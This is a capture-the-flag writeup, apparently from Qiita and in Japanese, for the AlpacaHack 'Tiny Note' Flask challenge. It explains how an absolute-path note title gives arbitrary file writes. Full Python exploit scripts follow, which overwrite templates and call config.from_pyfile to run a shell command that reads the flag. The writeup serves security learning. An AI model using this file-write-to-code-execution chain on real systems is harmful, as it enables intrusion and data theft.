0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[web] Tiny Note (AlpacaHack Round 11) writeup

0
Posted at

  • Source: AlpacaHack Round 11 (web)
  • Author: Ark

Flask製のメモアプリが与えられる。アプリ本体の手前に最小構成のNginxが配置されており、note本文が24文字以下という制約がある。flagは推測困難な名前のファイル内にあるため、RCEが目標になる。

app.py
from flask import Flask, request, redirect, render_template
from flask_caching import Cache
from werkzeug.exceptions import BadRequest
import pathlib, uuid, shutil, urllib.parse

app = Flask(__name__)
app.config["CACHE_TYPE"] = "FileSystemCache"
app.config["CACHE_DIR"] = "/tmp/cache"
cache = Cache(app)
cache.clear()
shutil.rmtree("./notes", ignore_errors=True)


def validate(label: str, text: str | None, limit: tuple[int, int]) -> str:
    if text is None:
        raise BadRequest(f"{label}: Missing parameter")
    if len(text) < limit[0]:
        raise BadRequest(f"{label}: Too short")
    if len(text) > limit[1]:
        raise BadRequest(f"{label}: Too long")
    if ".." in text:
        raise BadRequest(f"{label}: Path traversal?")
    return text


@app.get("/")
def index():
    return render_template("index.html")


@app.post("/new")
def create_note():
    title = validate("title", request.form.get("title"), (1, 64))
    content = validate("content", request.form.get("content"), (1, 24))  # very short :)

    slug = pathlib.Path(str(uuid.uuid4())) / urllib.parse.quote(title)
    path = "./notes" / slug
    path.parent.mkdir(parents=True, exist_ok=True)
    open(path, mode="w").write(content)

    return redirect(f"/{slug}")


@app.get("/<uuid:id>/<string:title>")
@cache.cached(timeout=5, query_string=True)
def get_note(id: uuid.UUID, title: str):
    title = validate("title", title, (1, 64))
    path = pathlib.Path("./notes") / str(id) / urllib.parse.quote(title)
    content = open(path).read()
    if "Alpaca" in content:
        content = "REDACTED"
    return render_template("note.html", title=title, content=content)


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=3000)

まず、/newでのnote作成時の挙動に注目する。

@app.post("/new")
def create_note():
    title = validate("title", request.form.get("title"), (1, 64))
    content = validate("content", request.form.get("content"), (1, 24))  # very short :)

    slug = pathlib.Path(str(uuid.uuid4())) / urllib.parse.quote(title)
    path = "./notes" / slug
    path.parent.mkdir(parents=True, exist_ok=True)
    open(path, mode="w").write(content)

    return redirect(f"/{slug}")

/notes/{uuid}/{title}というpathへファイルを作成しnote本文を保存するようになっているが、このpath結合には右側が絶対パスだと左側を破棄するという仕様がある。つまり、title/tmp/pwnedのような絶対パスであれば任意書き込みが可能になる。

ということで以下のようなスクリプトを実行すると、レスポンスがpwnedに書き変わっていることを確認できる。

import requests

target = 'http://34.170.146.252:39221'

t = requests.post(f'{target}/new',data={
	'content':'pwned',
	'title':'/app/templates/index.html'
},allow_redirects=False)

print(requests.get(f'{target}').text) # pwned

また、noteを描画するコードを見るとrender_template()を使っているので、SSTI的な感じでRCEに持ち込めそうな気配がする。ここで使えるガジェットとしてFlaskのconfigがある。
Flaskのconfig.from_pyfile("filename")filenameを読み込みPythonファイルとして評価するので、任意書き込みを用いてコマンドを実行するPythonスクリプトを用意し、それをtemplateからconfig.from_pyfile経由で呼び出すことでRCEできそうだ。

ここで留意すべき点として、

  1. アプリ本体がNginxの後ろにあって外部に公開されていないため外部への通信が難しい
  2. note本文の文字数制約が厳しいのでos.system(cmd)を分割する必要がある
  3. このアプリではキャッシュが取られるため、コマンド実行の準備が整う前にnoteへアクセスしてはいけない

という条件がある。これに対して、

  1. index.htmlを書き換えることで外部へflagを露出させる
  2. 複数ファイルに分割し、importでどうにかする
  3. 実はこのアプリでは/newのレスポンスでredirectしており、作成したnoteへアクセスしていないので問題なし

というアプローチを取る。
これらを頑張って組み合わせると、このようなpayloadが出来上がる。

import requests

target = 'http://34.170.146.252:45016'

# idを取得
t = requests.post(f'{target}/new',data={
	'content':'from_pyfile',
	'title':'z'
},allow_redirects=False)
uid = t.headers['Location'].split('/')[1]

# noteへアクセスした時にconfig.from_pyfile("l")を叩くように上書き
t = requests.post(f'{target}/new',data={
	'content':'{{config[content]("l")}}',
	'title':'/app/templates/note.html'
},allow_redirects=False)

# os.system("cat /fl*>q")のコードを分割して作成
t = requests.post(f'{target}/new',data={
	'content':'import os;a=os.system',
	'title':'/app/q.py'
},allow_redirects=False)

t = requests.post(f'{target}/new',data={
	'content':'cat /fl*>templates/q',
	'title':'/ee'
},allow_redirects=False)

t = requests.post(f'{target}/new',data={
	'content':'import q;q.a("sh /ee")',
	'title':'/app/l'
},allow_redirects=False)

# indexを上書きしてflag(の予定地)を読み出す準備をしておく
t = requests.post(f'{target}/new',data={
	'content':'{%include "q"%}',
	'title':'/app/templates/index.html'
},allow_redirects=False)

# 実際にnoteへアクセスし、このタイミングでRCE発火
requests.get(f'{target}/{uid}/z')

# flagを取得
print(requests.get(f'{target}').text)

これでflagが得られた。
Alpaca{I_kn0w_that_cache_is_d4ngerou5_in_CTF}

flagの内容から察するに、想定解はキャッシュを用いる方法でこれは非想定になるのだろう。
想定解はこれらしい。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?